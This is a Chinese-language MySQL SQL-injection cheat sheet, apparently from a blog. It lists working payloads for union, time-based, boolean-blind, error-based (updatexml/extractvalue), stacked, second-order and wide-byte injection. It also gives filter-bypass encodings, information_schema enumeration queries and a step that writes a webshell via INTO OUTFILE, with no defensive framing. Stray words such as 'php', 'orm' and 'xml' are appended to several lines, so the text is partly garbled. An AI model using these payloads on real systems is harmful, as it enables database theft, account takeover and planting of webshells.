mysql注入

1.注释符php

#...mysql

--  ...sql

/* ... */数据库

2.union查询时要使字段数相同函数

?id=-1' union select 1,2,3 --+;编码

3.盲注url

1)延时注入regexp

and  sleep(4);orm

if(ascii(substr(database(),1,1))>115,0,sleep(4))#   xml

id=3' and sleep(5) or 'a'='a

 

2)基于布尔的盲注

left(database(),1)='s';

ascii(substr((select database()),1,1))=98;    /* substr(a,b,c)从b位置截取字符串a的c长度,同mid();ascii()将字符转换为ascii码,同ord()*/

and ord(mid(user(),1,1))=114 判断数据库权限是否为root;

and length(user())>0  判断数据库是否为mysql;

regexp正则:  select  user()  regexp'^[a-z]';

 >select  user()  regexp '^r';
+---------------------+
| user()  regexp '^r' |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

当正确的时候显示结果为1,当不正确的时候显示结果为0。

like匹配:

select  user()  like'ro%';

 

3)报错注入

函数:updatexml()  ,extractvalue()

id=1' and updatexml(1,concat(0x7e,(select user() ),0x7e),1) --+;  /*0x7e为~的16进制*/

ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

id=2' and  extractvalue(1,concat(0x3a,database(),0x7e))--+;

ERROR 1105 (HY000): XPATH syntax error: ':security~'

 

4.堆叠注入(;)

 

5.二次注入

'or 1=1  --+

'or 'a'='a

注册admin'#用户,再调用

如: update  table  set  password="newpassword" where  username='name';

可修改admin的密码

 

7.绕过

过滤了or/and:

or用||,and用&&(%26)

anadnd大小写·,双写

过滤了空格:

%09 (水平tab)  %0a(新建一行) %0c (新的一页) %0d(return)  %0d(垂直tab)   %a0(空格)

 

8.宽字节注入

?id=%df%27

一般来讲,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

SHOW CHARACTER SET;/*支持的字符集*/

常见的符号的url编码: '(%27)   #(%23)   &(%26)

 

9.常见查询语句

select group_concat(schema_name) from  information_schema.schemata; /*显示全部数据库,*/

select  table_name from  information_schema.tables where  table_schema='数据库名' limit 0,1;   /*  输出相应数据库的第一张表*/

select  table_column from  information_schema.columns where  table_name='表名' limit 0,1;   /* 输出相应数据库的第一张表*/

select 列名 from 库名.表名;   /* 显示字段内容*/

update  表名 set  列名=值 where conditions;    /*更新字段*/

10.其余

写入一句话

id=1 into outfile 'c:\\...\m.php' lines    terminated  by ( 一句话的16进制)

相关文章
相关标签/搜索